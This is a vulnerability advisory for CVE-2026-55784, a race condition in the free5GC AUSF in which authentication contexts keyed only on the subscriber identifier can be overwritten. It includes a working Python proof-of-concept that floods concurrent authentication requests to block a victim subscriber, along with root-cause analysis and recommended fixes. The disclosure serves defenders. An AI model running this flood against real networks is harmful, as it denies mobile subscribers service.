high · 7.5CVE-2026-55784Aug 28, 2026

CVE-2026-55784: free5GC AUSF Authentication Context Race Condition

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The free5GC AUSF stores per-subscriber authentication state under a key that is only the subscriber identifier, so flooding it with concurrent authentication requests for the same subscriber…

Packagegithub.com/free5gc/ausf
Ecosystemgo
Affected<= 1.4.4
CVE-2026-55784: free5GC AUSF Authentication Context Race Condition

The problem

The AUSF component keys its authentication context map (UePool, a sync.Map) solely on the SUPI. Every incoming POST /nausf-auth/v1/ue-authentications request calls AddAusfUeContextToPool, which unconditionally overwrites any context already stored for that SUPI.

An attacker with access to the AUSF SBI (N12 interface) can flood concurrent authentication requests for a target SUCI. Each request is accepted and returns HTTP 201, but each also replaces the previous AusfUeContext in the pool. When the legitimate UE sends its EAP-AKA' response, the AUSF resolves the context by SUPI and finds an attacker-injected context whose K_aut, XRES, and EapID do not match the challenge the UE was given.

The AT_MAC integrity check fails and the AUSF returns an EAP notification failure, blocking the subscriber from authenticating for as long as the flood continues.

Proof of concept

A working proof-of-concept for CVE-2026-55784 in github.com/free5gc/ausf, with the exact payload below.

python
#!/usr/bin/env python3
# CVE-2026-55784 - free5GC AUSF authentication context overwrite PoC
# Sends concurrent POST /nausf-auth/v1/ue-authentications for the same SUCI.
# Each request is accepted (HTTP 201) and overwrites the shared UePool context.
# A legitimate EAP-AKA' response computed after this flood will fail AT_MAC
# verification because the AUSF now holds a different K_aut.

import asyncio
import httpx
import json

AUSF_URL   = "http://127.0.0.1:8100"
TARGET_SUCI = "suci-0-001-01-0-0-0-0000000002"   # victim subscriber
FLOOD_COUNT = 20

HEADERS = {"Content-Type": "application/json"}
BODY = json.dumps({
    "supiOrSuci": TARGET_SUCI,
    "servingNetworkName": "5G:mnc001.mcc001.3gppnetwork.org",
    "resynchronizationInfo": None
})

async def send_auth_request(client, idx):
    r = await client.post(
        f"{AUSF_URL}/nausf-auth/v1/ue-authentications",
        content=BODY,
        headers=HEADERS
    )
    print(f"[{idx:02d}] HTTP {r.status_code}")
    if r.status_code == 201:
        data = r.json()
        print(f"      EapID in response links: {data.get('_links', {})}")
    return r.status_code

async def main():
    async with httpx.AsyncClient(http2=True, timeout=10) as client:
        tasks = [
            send_auth_request(client, i)
            for i in range(FLOOD_COUNT)
        ]
        results = await asyncio.gather(*tasks)
    ok = results.count(201)
    print(f"\n{ok}/{FLOOD_COUNT} requests returned 201.")
    print("Context for SUPI is now the LAST writer's K_aut.")
    print("Any prior legitimate EAP-AKA' response will now fail AT_MAC.")

if __name__ == "__main__":
    asyncio.run(main())

The root cause (CWE-362) is that AddAusfUeContextToPool calls sync.Map.Store(supi, newCtx) unconditionally. sync.Map makes the store operation itself thread-safe, but it does not protect the authentication procedure state: any goroutine can replace another goroutine's active context between the moment a challenge is issued and the moment the response is verified.

The EAP response handler later calls GetAusfUeContext(supi), retrieves the last-stored context, and computes XMAC with that context's K_aut. Because the flood replaced the legitimate K_aut with an attacker-initiated one, bytes.Equal(MAC, XMAC) evaluates to false and the AUSF returns an EAP-AKA' notification failure.

The advisory-recommended fix is to generate a unique session UUID per authentication request, store the context under that UUID rather than the SUPI, and return the UUID in the auth context URL. A secondary option is to use sync.Map.LoadOrStore and reject concurrent attempts with HTTP 409 AUTHENTICATION_IN_PROGRESS.

Neither a per-context mutex nor per-SUPI rate limiting alone is sufficient without also fixing the shared map key.

The fix

No patched release was publicly available at time of writing (confirmed affected through v1.4.4 and main as of June 2026). Apply the advisory-recommended design change: generate a UUID per authentication request, use it as the UePool key and in the returned context URL path, and look up contexts by session ID rather than SUPI on /eap-session and /5g-aka-confirmation.

As an interim measure, restrict access to the AUSF SBI (TCP 8100) to trusted AMF/NF instances only via firewall rules, network policy, or mTLS, and enable OAuth2 on the AUSF SBI endpoint.

Reporter not attributed.

References: [1][2]

Related research